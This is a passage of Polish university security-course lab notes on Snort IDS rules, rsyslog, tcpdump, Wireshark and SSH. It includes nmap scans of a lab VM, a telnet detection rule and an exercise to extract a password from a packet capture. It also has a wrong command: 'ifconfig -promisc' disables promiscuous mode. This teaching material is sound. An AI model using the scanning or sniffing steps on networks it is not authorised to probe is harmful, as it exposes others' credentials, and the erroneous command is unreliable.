Możemy zacząć od tego, żeby sprawdzić, czy plik konfiguracyjny Snorta jest prawidłowy (na pewno jest prawidłowy po zainstalowaniu, ale warto zobaczyć, jak w takiej sytuacji wygląda działanie programu):

  # snort -T -i enp0s3 -c /etc/snort/snort.conf 2>&1 | less

Opcna -T oznacza właśnie testowe wykonanie, -i pozwala wskazać, jakiego interfejsu oglądanie nas interesuje, zaś opcja -c pozwala wskazać plik konfiguracyjny. Po uruchomieniu tego polecenia ukaże nam się bardzo długa ściana tekstu, która zawiera raport z poszczególnych etapów wczytywania reguł zakończony podsumowaniem (też długim) zaczynającym się od opisu:

  4057 Snort rules read
    3383 detection rules
    0 decoder rules
    0 preprocessor rules
  3383 Option Chains linked into 932 Chain Headers

który wskazuje, ile reguł zostało wczytane oraz ile z nich jest związane z wykrywaniem nieprawidłowości, ile z odkodowywaniem danych, a ile ze wstępnym przetwarzaniem. Wypisane informacje kończą się opisem wersji Snorta oraz oprogramowania, z którego on korzysta.

Alarmy Snorta

Cała siła programu Snort leży w regułach, które można pogrupować w zestawy. Po krótkim przyjrzeniu się plikowi /etc/snort/snort.conf łatwo stwierdzimy, że do pliku konfiguracyjnego dołączane są liczne pliki z katalogu /etc/snort/rules/, zawierającego właśnie różne zestawy reguł pogrupowane „tematycznie”. Można sobie rzucić okiem, jakie zestawy są dostępne, i jak wyglądają poszczególne wpisy.

Zwykle diagnozowanie działania sieci, również z użyciem Snorta, zaczynamy od ustawienia interfejsu sieciowego karty w tryb promiscuous. W trybie tym karta przekazuje do oprogramowania wszystkie pakiety, które do niej docierają - również te, które nie są do niej adresowane. Co prawda w dzisiejszych czasach ruch pakietów adresowanych do innych interfejsów niż interfejs na końcu kabla jest drastycznie ograniczony przez przełączniki, ale nie zawsze to działa (NB. warto zgłosić administratorom, gdy na interfejsie pojawiają się pakiety do niego nie adresowane). Przełączenie karty w tryb promiscuous uzyskujemy za pomoca polecenia:

  # ip link set enp0s3 promisc on

lub

  # ifconfig  enp0s3 -promisc

Możemy teraz uruchomić Snorta w celu określenia, czy nie dochodzi do naszej maszyny jakiś podejrzany ruch:

  # snort -d -l /var/log/snort/ -h 10.2.0.0/20 -A console -c /etc/snort/snort.conf

Tutaj opcja -d wskazuje, że Snort jest używany w trybie systemu wykrywania intruzów (ang. Network Intrusion Detection System, NIDS). W trybie tym widzimy tylko informacje pochodzące z ruchu o podejrzanych charakterystykach (np. pakiety o niepoprawnej strukturze). Opcja -l wskazuje, gdzie są umieszczane pliki z zebranymi przez Snorta informacjami. Dodanie -h 10.2.0.0/20 powoduje, że widzimy nieco mniej informacji na ekranie, a podejrzany ruch z odległych maszyn umieszczany jest w katalogach o nazwach zgodnych z nazwami tych maszyn, zaś -A console powoduje, że dostajemy raporty na ekranie terminala.

Możemy sobie chwilę poobserwować ruch, żeby się nieco oswoić z rodzajem uzyskiwanej informacji. Warto raz na jakiś czas nacisnąć na dłużej enter, żeby sobie oczyścić ekran z nadmiaru informacji.

Najbardziej typowym sposobem badania komputerów w sieci jest wyłanie do maszyny pinga. Wykonajmy z jakiejś innej maszyny niż ta, na której działa Snort, polecenie:

  # ping 10.2.7.46

Zapewne nic tutaj nie zobaczymy, bo reguły Snorta są tak napisane, aby nie robić alarmu w przypadku ruchu zasadniczo nieszkodliwego. Natomiast jeśli spróbujemy wysłać niestandardowe pakiety ping, to ujrzymy nietrywialny efekt działania Snorta. Po wysłaniu pakietu ping (technicznie jest to pakiet ICMP echo request) o rozmiarze 4096

  # ping -s 4096 10.2.7.46

dostaniemy następujące trzy sygnały od Snorta:

12/04-20:00:39.553493  [**] [1:480:5] ICMP PING speedera [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.2.1.95 -> 10.2.7.46
12/04-20:00:39.553493  [**] [1:499:4] ICMP Large ICMP Packet [**] [Classification: Potentially Bad Traffic] [Priority: 2] {ICMP} 10.2.1.95 -> 10.2.7.46
12/04-20:00:39.553669  [**] [1:499:4] ICMP Large ICMP Packet [**] [Classification: Potentially Bad Traffic] [Priority: 2] {ICMP} 10.2.7.46 -> 10.2.1.95

Jak to zwykle bywa, wpisy zaczynają się od znaczników czasowych. Ciąg [**] to specyficzny separator używany przez Snorta. Następny znacznik, na przykład [1:480:5], wskazuje, jakie moduły wewnętrzne Snorta zajmowały się przetwarzaniem prowadzącym do danego alarmu (pierwsza 1, zob. plik etc/generators w źródłach Snorta), jaka reguła została użyta (patrzymy na wartość sid w regule) oraz w jakiej wersji (patrzymy na wartość rev w regule).

Pochodzenie alarmu możemy w ogromnej większości przypadków (nie dotyczy to reguł preprocesora) stwierdzić, wykonując polecenie w stylu:

  # grep sid:499 /etc/snort/rules/*

Powyższa instrukcja szybko nam też wyjaśni pochodzenie następnego napisu - komentarza do alertu. Następnie po separatorze [**] widać określenie, do jakiej kategorii zdarzeń został dany alert przydzielony. Z każdą kategorią zdarzeń związany jest domyślny priorytet zwykle konfigurowany w pliku /etc/snort/classification.config. Można jednak te wartości nadpisywać w regułach.

Końcowy zapis {ICMP} 10.2.7.46 -> 10.2.1.95 jest zapisem przepisanym na początku reguły (wskazanie protokołu niższej warstwy oraz adresów pochodzenia i docelowego pakietu; czasami rozszerzone o numer portu).

Inny przykład raportu, jaki daje Snort, uzyskamy, wydając (na innej maszynie wirtualnej) polecenie:

  # nmap -A 10.2.7.46

Wtedy uzyskamy raport postaci:

12/04-19:50:41.178872  [**] [1:1418:11] SNMP request tcp [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 10.2.1.95:35957 -> 10.2.1.95:161
12/04-19:50:41.197157  [**] [1:1421:11] SNMP AgentX/tcp request [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 10.2.1.95:35957 -> 10.2.1.95:705
12/04-19:50:42.150598  [**] [1:1228:7] SCAN nmap XMAS [**] [Classification: Attempted Information Leak] [Priority: 2] {TCP} 10.2.1.95:47570 -> 10.2.1.95:1
12/04-19:50:42.150779  [**] [1:485:4] ICMP Destination Unreachable Communication Administratively Prohibited [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.2.1.95 -> 10.2.1.95

Wskazujący, że program nmap do określenia systemu operacyjnego na komputerze, który jest badany, używa protokołu SNMP, następnie wykonuje skanowanie portów, aby zakończyć proces wysłaniem niestandardowego pakietu ICMP.

Reguły Snorta

Spróbujmy teraz napisać własną regułę Snorta. Umieścimy ją w pliku /etc/snort/rules/local.rules i nadamy jej taką postać:

  alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg: "Attempt to telnet from external net"; sid:10000002; rev:1;)

Pamiętajmy, że reguła musi być zapisana w jednym wierszu.

Teraz próba wykonania polecenia telnet z adresem naszej maszyny wirtualnej spowoduje wyświetlenie się odpowiedniego alarmu Snorta. Jednak taki alarm może być dla nas niezadowalający: brakuje klasyfikacji i priorytet jest bardzo wysoki. Dlatego poprawmy regułę tak:

  alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg: "Attempt to telnet from external net"; sid:10000002; rev:2; classtype:attempted-user)

Tym razem próba telnetu da nam już wskazanie, że alarm należy do określonej klasy, a także wskaże sensowny jej priorytet. Warto zwrócić uwagę, że przy okazji zmiany zwiększyła się też wartość pola rev. Zwiększyliśmy je o jeden, żeby wskazać, iż zaszła zmiana i w obiegu mogą być alerty pochodzące z różnych wersji tej reguły, a zatem prawdopodobnie mające różne znaczenie.

Reguły Snorta pozwalają na badanie wielu charakterystyk pakietów, jakie trafiają do komputera. Proszę przyjrzeć się regułom z plików /etc/snort/rules/web-*, aby zorientować się, jakie rodzaje alarmów są tworzone dla aplikacji webowych. Warto też obejrzeć dokumentację ze strony https://www.snort.org.

Dalsze lektury

Snort bywa umieszczany jako część dedykowanego systemu operacyjnego służącego do wykrywania intruzów. Przykładem takiego rozwiązania jes system Security Onion.

Gdy Snort jest używany jako sonda IDS/IPS, która bada ruch w segmencie sieciowym, jest uruchamiany wraz z odpowiednimi rozwiązaniami sprzętowymi takimi jak urządzenia TAP lub na końcu połączenia przez port lustrzany.

Strona Snorta oferuje kilka rodzajów reguł (zob. https://www.snort.org/downloads/#rule-downloads):

• reguły tworzone przez społeczność, do których dostęp jest bezpłatny i nieograniczony;
• reguły tworzone przez ekspertów bezpieczeństwa z zespołu Talos; reguły te są bezpłatne, ale wymagają zarejestrowania na stronie Snorta;
• reguły komercyjne, za które trzeba płacić, ale zapewniają szybsze reagowanie na potencjalne luki w bezpieczeństwie.

Są też dostępne inne subskrypcje komercyjne, oferuje takie na przykład firma Cisco.

Ćwiczenie

Proszę napisać regułę Snorta wykrywającą próbę połączenia się protokołem HTTP pod niestandardowy numer portu. Fragment pliku reguł zawierający taką regułę proszę wysłać do Moodle.

Syslog

System rejestrujący - syslog

Pliki dzienników

/var/log

• messages lub syslog - główny dziennik systemowy
• dmesg - komunikaty o urządzeniach wykrytych w trakcie startu systemu i o ładowanych sterownikach do tych urządzeń, do ich obejrzenia można posłużyć się programem dmesg
• boot.log - komunikaty skryptów startowych
• daemon.log - komunikaty usług
• kern.log - wszystkie komunikaty generowanie przez jądro
• auth.log - komunikaty pochodzące z części systemu odpowiedzialnej za uwierzytelnianie użytkowników (np. informacje o poleceniach wykonanych przez sudo)
• mail.log - komunikaty związane z obsługą poczty
• wtmp - zapisy logowania użytkowników do systemu, do ich oglądania służy polecenie last
• lastlog - informacja o ostatnich logowaniach, do jej oglądania służy polecenie lastlog

Konfigurowanie demona (r)syslog - podstawowe reguły

usługa.poziom <co najmniej jeden znak tabulacji> 	przeznaczenie

• plik - należy podać pełną ścieżkę np. /var/log/messages
• łącze nazwane (przydatne przy debugowaniu) - nazwa łącza jest poprzedzona znakiem |
• terminal np. tty6
• maszyna zdalna - nazwa maszyny poprzedzona jest znakiem @, np. @192.168.0.1
• lista użytkowników np: root,admin (stara składnia) lub :omusrmsg:root,admin (składnia rsyslog); * lub :omusrmsg:* spowoduje wyświetlenie komunikatu wszystkim zalogowanym użytkownikom
• śmietnik: ~

mail.info		/var/log/mail.log

*.emerg;user.none	             *

% kill -HUP $(cat /var/run/(r)syslogd.pid)

% /etc/init.d/rsyslog restart

% rsyslogd -f /etc/rsyslog.conf -N1

Nowe możliwości rsyslog

:własność,[!]operacja, "wzorzec"

:msg,contains,"iptables"                     /var/log/iptables.log
:msg,regex,"fatal .* error"                   /var/log/fatal-error.log

$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat

Logger

local2.info		/tmp/test.log

% logger -p local2.info "test local2 info"

Logrotate

Analiza dzienników

Zobacz też

Ćwiczenia

Skonfiguruj rsyslog w taki sposób, aby:

1. wszystkie zapisy z poziomu notice i niższych trafiały do pliku /var/log/notice.log i nie pojawiały się w żadnych innych plikach katalogu /var/log,
2. zapisy z innych poziomów nie trafiały do pliku /var/log/notice.log,
3. do dziennika /var/log/mail.log trafiały wszystkie informacje związane usługami pocztowymi i żadne inne,
4. wszystkie komunikaty zawierające wzorzec "business" w godzinach 8:00-16:00 trafiały do pliku /var/log/business_banking.log.

Przy pomocy polecenia logger przetestuj powyższe reguły. Plik konfiguracyjny syslog zawierający powyższe konfiguracje prześlij do Moodle.

Tcpdump i wireshark

Tcpdump

Wprowadzenie

Tcpdump jest narzędziem pozwalającym przyjrzeć się szczegółowo ruchowi, z jakim ma do czynienia maszyna, na której pracujemy, a w sprzyjających warunkach nawet cała sieć, w której pracujemy. Dzięki temu możemy się zorientować, czy część ruchu nie jest przypadkiem ruchem nieprawidłowym, wskazującym na problemy z konfiguracją, albo na problemy związane z atakiem intruzów.

Interfejsy sieciowe

Na dobry początek warto zorientować się, na jakich interfejsach komunikacyjnych możemy wykonywać nasłuchiwanie:

# sudo tcpdump -D

W wyniku otrzymamy odpowiedź w stylu

1.enp0s25 [Up, Running, Connected]
2.wlp3s0 [Up, Running, Wireless, Associated]
3.any (Pseudo-device that captures on all interfaces) [Up, Running]
4.lo [Up, Running, Loopback]
5.docker0 [Up, Disconnected]
6.bluetooth0 (Bluetooth adapter number 0) [Wireless, Association status unknown]
7.bluetooth-monitor (Bluetooth Linux Monitor) [Wireless]
8.usbmon3 (Raw USB traffic, bus number 3)
9.usbmon2 (Raw USB traffic, bus number 2)
10.usbmon1 (Raw USB traffic, bus number 1)
11.usbmon0 (Raw USB traffic, all USB buses) [none]
12.nflog (Linux netfilter log (NFLOG) interface) [none]
13.nfqueue (Linux netfilter queue (NFQUEUE) interface) [none]

która nam wskaże, że nie tylko mamy interfejs sieciowy bezprzewodowy (wlp3s0) oraz bezprzewodowy (enp0s25), ale także że możemy przysłuchiwać się komunikacji Bluetooth czy przez porty szeregowe USB albo też dowiadywać się, co się dzieje na naszej ścianie ogniowej zaimplementowanej za pomocą netfilter.

W związku z tym, że program tcpdump może pokazywać informacje niekoniecznie publiczne, dostęp do jego wykonywania jest zwykle możliwy tylko, jeśli mamy prawa administratora. Stąd wszystkie wywołania tego polecenia w tej czytance są poprzedzone wywołaniem programu sudo. Wywołanie to można opuścić, jeśli wykonujemy polecenia jako root.

Wypisywane informacje

Spróbujmy pozyskać jakieś informacje z urządzeń sieciowych, do których jesteśmy podłączeni. Najprościej można zrobić to tak:

# tcpdump -i any

Polecenie to sprawi, że zaczniemy uzyskiwać informacje o wszystkich pakietach trafiających do dowolnego z interfejsów komunikacyjnych, które są przeglądane przez tcpdump. Przykładowy wynik, jaki możemy tu uzyskać to:

tcpdump: data link type LINUX_SLL2
dropped privs to tcpdump
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
15:55:23.012033 enp0s25 In  IP6 waw02s13-in-x0a.1e100.net.https > aronia.mimuw.edu.pl.52458: UDP, length 85
15:55:23.012712 enp0s25 In  IP6 waw02s13-in-x0a.1e100.net.https > aronia.mimuw.edu.pl.52458: UDP, length 29
15:55:23.012913 enp0s25 Out IP6 aronia.mimuw.edu.pl.52458 > waw02s13-in-x0a.1e100.net.https: UDP, length 42
15:55:23.156775 wlp3s0 In  IP intra-ns2.mimuw.edu.pl.domain > aronia.mimuw.edu.pl.52006: 1466 1/0/1 PTR waw02s13-in-x0a.1e100.net. (140)
15:55:23.157374 enp0s25 In  IP6 waw02s13-in-x0a.1e100.net.https > aronia.mimuw.edu.pl.52458: UDP, length 1332

Powyższy wynik to fragment szybko przesuwającej się ściany tekstu, jaką zwykle w takiej sytuacji możemy zobaczyć. Każdy wiersz tutaj zawiera opis konkretnego pakietu, który trafił do nas (adnotacja In w trzeciej kolumnie) lub został z naszej maszyny wysłany (adnotacja Out w trzeciej kolumnie), a odbyło się to w konkretnym punkcie czasu (zawartość pierwszej kolumny) na wskazanym interfejsie (zawartość drugiej kolumny). Jak łatwo się domyślić, widzimy tutaj trochę ruchu po IPv6 i trochę po IPv4. Widać też tutaj trochę ruchu po protokole transportowym UDP oraz jedną odpowiedź z systemu DNS (w punkcie czasowym 15:55:23.156775).

Warto też rozumieć, że w powyższych napisach wskazane jest też, kto jest nadawcą i odbiorcą pakietu. Na przykład fragment jednego z zapisów:

  aronia.mimuw.edu.pl.52458 > waw02s13-in-x0a.1e100.net.https

wskazuje, że nadawcą pakietu jest komputer o adresie DNS aronia.mimuw.edu.pl (na lewo od znaku >), zaś odbiorcą komputer o adresie DNS waw02s13-in-x0a.1e100.net (na prawo od znaku >). Pozostaje wyjaśnić, czym są pozostałe fragmenty napisów, tzn. 52458 oraz https. Otóż są to numery portów, między którymi następuje komunikacja. W tym przypadku komunikacja zachodzi między portem 52458 o nieustalonej funkcjonalności na maszynie aronia.mimuw.edu.pl a portem 443 na maszynie waw02s13-in-x0a.1e100.net, który ma ustaloną domyślną funkcjonalność – jest to port protokołu HTTP działającego w tunelu SSL. Powiązanie numeru portu (443) z usługą (https) wraz z wieloma innymi tego typu powiązaniami możemy znaleźć w pliku /etc/services.

Przy diagnozowaniu stanu sieci często się zdarza, że adresy DNS nie są dostępne (bo nie możemy się skomunikować z serwerem DNS). Wtedy wygodnym sposobem na uzyskanie wyników z programu tcpdump jest:

# sudo tcpdump -n -i any

Po takim wywołaniu wszystkie adresy będą wyświetlane w postaci adresów IP (zarówno IPv4, jak i IPv6).

Jeśli dodatkowo chcemy widzieć raczej numery portów niż nazwy usług im odpowiadającym, to możemy wywołać tcpdump tak:

# sudo tcpdump -nn -i any

Często się zdarza, że nie chcemy oglądać ciągnącej się ściany napisów, a jedynie rzucić okiem na kilka pakietów. Zwykle już to pozwala zorientować się, z jakim rodzajem awarii sieciowej mamy do czynienia (np. dużo pakietów DHCP wychodzących, ale za to żadnego przychodzącego, może świadczyć o tym, że nie mamy połączenia z lokalnym serwerem DHCP). W takiej sytuacji pomoże nam polecenie

# sudo tcpdump  -i any -c3

które wyświetli nam tylko 3 pakiety (nazwa opcji -c pochodzi od angielskiego count).

Filtrowanie - podstawy

Zwykle jednak oglądanie całego ruchu sieciowego jest zbyt trudne i chcemy się skupić na konkretnym jego wycinku. Do tego przydają się filtry. Najprostszy rodzaj filtru polega na podaniu rodzaju protokołu, jaki nas interesuje. Na przykład polecenie

# sudo tcpdump -i any -c3 udp

da nam wynik:

tcpdump: data link type LINUX_SLL2
dropped privs to tcpdump
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
12:46:14.158336 wlp3s0 Out IP aronia.mimuw.edu.pl.45130 > _gateway.domain: 29009+ AAAA? ade.googlesyndication.com. (43)
12:46:14.158435 wlp3s0 Out IP aronia.mimuw.edu.pl.42889 > _gateway.domain: 5748+ A? ade.googlesyndication.com. (43)
12:46:14.169924 wlp3s0 Out IP aronia.mimuw.edu.pl.44201 > waw02s07-in-f161.1e100.net.https: UDP, length 401
3 packets captured
11 packets received by filter
0 packets dropped by kernel

za pomocą którego dowiemy się, że ruch DNS na lokalnej maszynie odbywa się za pomocą właśnie protokołu UDP (mogłoby też odbywać się za pomocą TCP). Warto jednak pamiętać, że takie określenie protokołu jest możliwe dla protokołów, które znajdują się co najwyżej na poziomie warstwy transportowej i sieci (tcp, udp, ip6, arp itp.).

Jeśli chcielibyśmy obejrzeć protokoły warstwy łącza, to musimy dodać jeszcze jedną opcję do wywołania. Wykonanie polecenia

# sudo tcpdump -i any -e -c3

da nam taki wynik:

# sudo tcpdump -i any -e -c3
tcpdump: data link type LINUX_SLL2
dropped privs to tcpdump
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
13:01:29.120674 wlp3s0 In  ifindex 3 76:c3:78:19:ee:44 (oui Unknown) ethertype IPv4 (0x0800), length 123: ed-in-f189.1e100.net.https > aronia.mimuw.edu.pl.60538: Flags [P.], seq 2827910991:2827911042, ack 1309638939, win 395, options [nop,nop,TS val 2425401776 ecr 996398348], length 51
13:01:29.120714 wlp3s0 Out ifindex 3 7c:7a:91:04:ba:ff (oui Unknown) ethertype IPv4 (0x0800), length 72: aronia.mimuw.edu.pl.60538 > ed-in-f189.1e100.net.https: Flags [.], ack 51, win 501, options [nop,nop,TS val 996427838 ecr 2425401776], length 0
13:01:29.223349 wlp3s0 Out ifindex 3 7c:7a:91:04:ba:ff (oui Unknown) ethertype IPv4 (0x0800), length 93: aronia.mimuw.edu.pl.34372 > _gateway.domain: 59285+ PTR? 189.143.125.74.in-addr.arpa. (45)
3 packets captured
4 packets received by filter
0 packets dropped by kernel

gdzie możemy zauważyć adresy, w tym przypadku ethernetowe (6 kolumna), informacje o numerze interfejsu (po słówku ifindex), informacje o rodzaju zawartości pakietu (po słówku ethertype) itp.

Często chcemy dowiedzieć się, jak wygląda ruch między komputerem a zewnętrznym światem, często z określonym komputerem:

 # sudo tcpdump -i any -c3 host usosweb.mimuw.edu.pl

lub pod określonym portem

 # sudo tcpdump -i any -c3 port https

(tutaj https można zastąpić oczywiście też przez 443).

Filtrowanie - operacje logiczne

Oczywiście nieco bardziej przydatna jest możliwość określenia, że interesuje nas ruch do konkretnego komputera pod konkretny port. Takie coś możemy uzyskać za pomocą łączenia reguł za pomocą wyrażeń logicznych:

# sudo tcpdump -i any -c3 host students.mimuw.edu.pl and port https

Gdyby nas natomiast interesował ruch do naszego lokalnego serwera, SSH, to można go uzyskać za pomocą polecenia:

 # sudo tcpdump -i any -c3 \(src host aronia.mimuw.edu.pl or src host localhost\) and src port 22

Warto zwrócić uwagę na to, że bardziej skomplikowane wyrażenia wymagają użycia nawiasów, ale ponieważ nawiasy są znakami znaczącymi powłoki poleceń, to trzeba je ozdobić odpowiednim znakiem ochronnym.

Zapis sesji do pliku

Czasami nasza analiza ruchu może być czasochłonna. Wtedy zwykle lepiej jest nagrać sobie interesujący fragment ruchu na dysku i potem stosować filtry już na nim. Do nagrywania służy polecenie:

# sudo tcpdump -i any -e -w nazwapliku

które zapisze dane ściągnięte z sieci do pliku o nazwie nazwapliku. Odczytać dane można za pomocą polecenia

# sudo tcpdump -i any -e -r nazwapliku

które oczywiście można do woli ozdabiać potrzebnymi filtrami. Warto sobie zakonotować, że do pliku nie trafiają całe pakiety, ale ich początkowe fragmenty. Długość tych fragmentów można konfigurować za pomocą odpowiedniej opcji tcpdump. Zapraszamy do jej wyszukania na stronie man.

Zobacz jeszcze

Więcej na temat różnych możliwości filtrowania można przeczytać na stronie man pcap-filter (nota bene pcap to nazwa biblioteki, która pozwala na śledzenie pakietów, jakie trafiają na urządzenia sieciowe do komputera.

Wireshark

Program wireshark to w zasadzie graficzna nakładka na program tcpdump. Nakładka ta ma jednak pewne cechy, które są bardzo użyteczne, a nie tak łatwe do uzyskania za pomocą tego ostatniego. Najważniejsza z nich to możliwość uzyskania ciągłego obrazu sesji TCP. W tym celu należy (po określeniu, z jakiego źródła będziemy analizować dane) wybrać z menu opcję Analizuj/Podążaj/Strumień TCP (lub Analyze/Follow/TCP Stream).

Warto przećwiczyć użycie filtrów wspomnianych przy okazji oglądania programu tcpdump. Z maszyną wirtualną można się połączyć za pomocą polecenia.

# ssh -Y adres_maszyny

takie wywołanie pomoże wyświetlać graficzną aplikację, jaką jest wireshark.

Ćwiczenie

Spróbujcie za pomocą programu wireshark znaleźć hasło do jednego konta, które zostało utrwalone w załączonym pliku dump. Hasło w pliku tekstowym należy przesłać do Moodle.

Tunele aplikacyjne i GPG

Na podstawie materiału przygotowanego przez Patryka Czarnika i Michała Kutwina

Tunele aplikacyjne z użyciem SSH

SSH (Secure Shell) to protokół zabezpieczający komunikację w warstwie aplikacji, którego podstawowym zastosowaniem jest zdalna praca przez konsolę tekstową. Może on być jednak używany także do innych celów, m.in. zdalnego używania aplikacji graficznych X Window, bezpiecznego przesyłania plików, montowania zdalnych katalogów i tunelowania dowolnych połączeń TCP.

Zabezpieczenie komunikacji polega na:

• uwierzytelnieniu serwera przez klienta: przy pierwszym połączeniu z danym serwerem wyświetla się pytanie o akceptację klucza publicznego serwera - zwykle wpisujemy wtedy (bez zastanowienia) "yes" (a tymczasem to jest miejsce, które naraża nas na największe zagrożenie); przy każdym kolejnym połączeniu weryfikuje się czy serwer używa tej samej pary kluczy, tzn. czy serwer posiada klucz prywatny pasujący do znanego nam klucza publicznego,
• uwierzytelnieniu użytkownika przez serwer (różne metody, w tym również bardzo głupie),
• szyfrowaniu przesyłanych danych,
• podpisywaniu i weryfikacji każdej przesyłanej porcji danych pochodzących z wyższych warstw stosu TCP (ochrona przed podmianą danych oraz wykrywanie błędów transmisji).

Używać będziemy implementacji OpenSSH, której podstawowe pakiety to zwykle openssh (instaluje go automatycznie każda znana mi dystrybucja) oraz openssh-server (to już często trzeba doinstalować samodzielnie).

Polecenie

ssh <nazwa hosta>

powoduje zalogowanie się na zdalnej maszynie. Jeśli dodatkowo po nazwie hosta podamy polecenie np.

ssh <nazwa hosta> ls

to na zdalnej maszynie zostanie wykonane powyższe polecenie i połączenie zostanie zakończone. Dodatkowa opcja -f pozwala na przejście klienta ssh w tło po wykonaniu operacji uwierzytelniających, ale przed wykonaniem polecenia na zdalnej maszynie:

ssh -f <nazwa hosta> ls

UWIERZYTELNIENIE UŻYTKOWNIKA

SSH oferuje kilka metod uwierzytelnienia, z najpopularniejszymi „password” (na podstawie hasła), „keyboard interactive” (bardziej ogólna metoda, w praktyce też najczęściej sprowadzająca się do podania hasła) oraz „public key” opisana w dalszej części.

Uwierzytelnienie za pomocą hasła

Używanie uwierzytelnienia opartego o hasło jest o tyle wygodne, że nie wymaga specjalnej konfiguracji. Natomiast obarczone jest wieloma wadami z punktu widzenia bezpieczeństwa oraz wygody:

• hasło jest narażone na ataki oparte o jego zgadnięcie: atak siłowy („brute force”), słownikowy, „socjalny” (data urodzin, imię psa itp.), podsłuchanie tego samego hasła używanego w niechronionym protokole, podglądanie klawiatury (kamery!), itp.;
• ponieważ hasło jest przesyłane (w postaci zaszyfrowanej), atak typu „man in the middle” (klient łączy się z nieprawdziwym serwerem, np. po przejęciu przez atakującego kontroli nad DNS czy routerem, a użytkownik zbyt pochopnie akceptuje tożsamość serwera) prowadzi do poznania hasła przez atakującego, który następnie może połączyć się z prawdziwym serwerem;
• konieczność wielokrotnego wpisywania hasła w przypadku używania aplikacji takich jak cvs/svn/git.

Uwierzytelnienie oparte o klucze (metoda "public key")

Generujmy parę kluczy (programem ssh-keygen), klucz prywatny pozostaje po stronie klienta (w pliku .ssh/id_rsa lub .ssh/id_dsa), a klucz publiczny jest wgrywany na serwer. Klucze publiczne są zapisywane na serwerze jeden po drugim w pliku .ssh/authorized_keys na koncie tego użytkownika, na które chcemy się logować; do dodania klucza na serwer można użyć także narzędzia ssh-copy-id (po stronie klienta).

Standardowo używa się osobnego klucza prywatnego dla każdego komputera (i konta), z którego łączymy się ze światem, oraz wgrywa się odpowiadające klucze publiczne na te serwery i konta, do których chcemy się logować. Klucz prywatny można zabezpieczyć hasłem, co utrudni użycie klucza w przypadku przejęcia pliku z kluczem.

„Losowo” wygenerowany klucz nie jest narażony na ataki słownikowe, a atak siłowy, ze względu na długość klucza, wymaga ogromnych nakładów. Protokół SSH nie przesyła klucza prywatnego nawet w postaci zaszyfrowanej, co zabezpiecza przed atakiem "man in the middle". Wadą tego rodzaju uwierzytelnienia jest konieczność przechowywania plików z kluczami i chronienia plików z kluczami prywatnymi.

Zarządzaniem kluczami podczas jednej sesji lokalnej może zajmować się program ssh-agent, do którego często systemowy interfejs użytkownika (Gnome, KDE itp.) oferuje nakładki graficzne. Można też używać tekstowego polecenia ssh-add, aby na czas sesji zapamiętać otwarty klucz. Uwalnia to użytkownika od konieczności wielokrotnego wpisywania hasła odblokowującego klucz.

KONFIGUROWANIE SERWERA

OpenSSH pozwala dość dokładnie skonfigurować serwer i dostosować go do wymagań bezpieczeństwa, wygody i innych. Możliwe jest m.in. stosowanie ograniczeń na dostępne algorytmy, sposoby uwierzytelnienia, liczbę otwartych sesji itp. w zależności od użytkownika i hosta, z którego się łączy. Można także wymóc stosowanie uwierzytelnienia i limitów opartych o PAM (poprzednie zajęcia). Standardowo konfiguracja serwera zapisywana jest w pliku /etc/ssh/sshd_config.
Szczegóły: man sshd_config.

KONFIGUROWANIE KLIENTA

Większość opcji dla klienta SSH można podać bezpośrednio w wierszu poleceń, ale dla wygody można także zapisać je w pliku konfiguracyjnym, w razie potrzeby uzależniając konfigurację od serwera docelowego. Konfiguracja klienta SSH zapisywana jest w plikach /etc/ssh/ssh_config (domyślna dla systemu) i ~/.ssh/config (dla użytkownika).
Szczegóły: man ssh oraz man ssh_config

BEZPIECZNE PRZESYŁANIE PLIKÓW

Służą do tego protokoły i odpowiadające im aplikacje scp (najprostsza), sftp i rsync (bardziej zaawansowane), wewnętrznie używające protokołu SSH.

Cechą charakterystyczną sftp jest zbiór poleceń analogicznych do poleceń FTP, natomiast cechą charakterystyczną rsync jest różnicowe przesyłanie plików – sprawdzanie (poprzez porównywanie skrótów), które pliki lub bloki większych plików uległy zmianie i przesyłanie tylko tych zmienionych. Oba polecenia pozwalają przesyłać całe drzewa katalogów z możliwością filtrowania po rodzaju pliku, przenoszenia uprawnień itp.

Uwaga: SFTP jest niezależnie zdefiniowanym protokołem (funkcjonalnie wzorowanym na FTP), a nie jest tylko tunelowaniem zwykłego FTP w połączeniu SSH (ani tym bardziej SSL).

Pośrednio z SSH do transferu plików mogą korzystać także cvs, svn czy git.

MONTOWANIE KATALOGÓW

Wszyscy znamy (a przynajmniej powinniśmy) mechanizm NFS do tworzenia sieciowych systemów plików - montowania lokalnie katalogów serwera plików. Zwykły użytkownik może osiągnąć to samo: zamontować sobie katalog z innego komputera. Jedyny warunek: trzeba mieć konto na ,,serwerze''.

Do takiego ad hoc montowania służy program sshfs. Do zamontowania zdalnego
katalogu używamy polecenia

sshfs komputer:katalog punkt-montowania

Punkt montowania to katalog na lokalnym komputerze (najlepiej pusty ;-). Pierwszy argument to katalog na zdalnym komputerze w typowej notacji używanej przez scp itp. Trzeba mieć do niego odpowiednie prawa.

Od tego momentu cała struktura tego katalogu jest widoczna lokalnie. Polecenie akceptuje większość opcji ssh i jescze trochę, szczegóły jak zwykle w man.

Aby odmontować taki katalog piszemy

fusermount -u punkt-montowania

To polecenie zdradza rodzaj użytego ,,oszustwa'': korzystamy z modułu jądra FUSE (Filesystem in USErspace).

TUNELE

Bezpieczne tunelowanie połączeń TCP ogromnie zwiększa gamę zastosowań SSH. Istnieją dwa rodzaje tuneli ze względu na kierunek:

• lokalne (opcja -L): połączenia do podanego lokalnego portu klienta są przekazywane na serwer SSH i stamtąd łączymy się z docelowym serwerem, np.

  ssh -L 1234:www.w3.org:80 students.mimuw.edu.pl

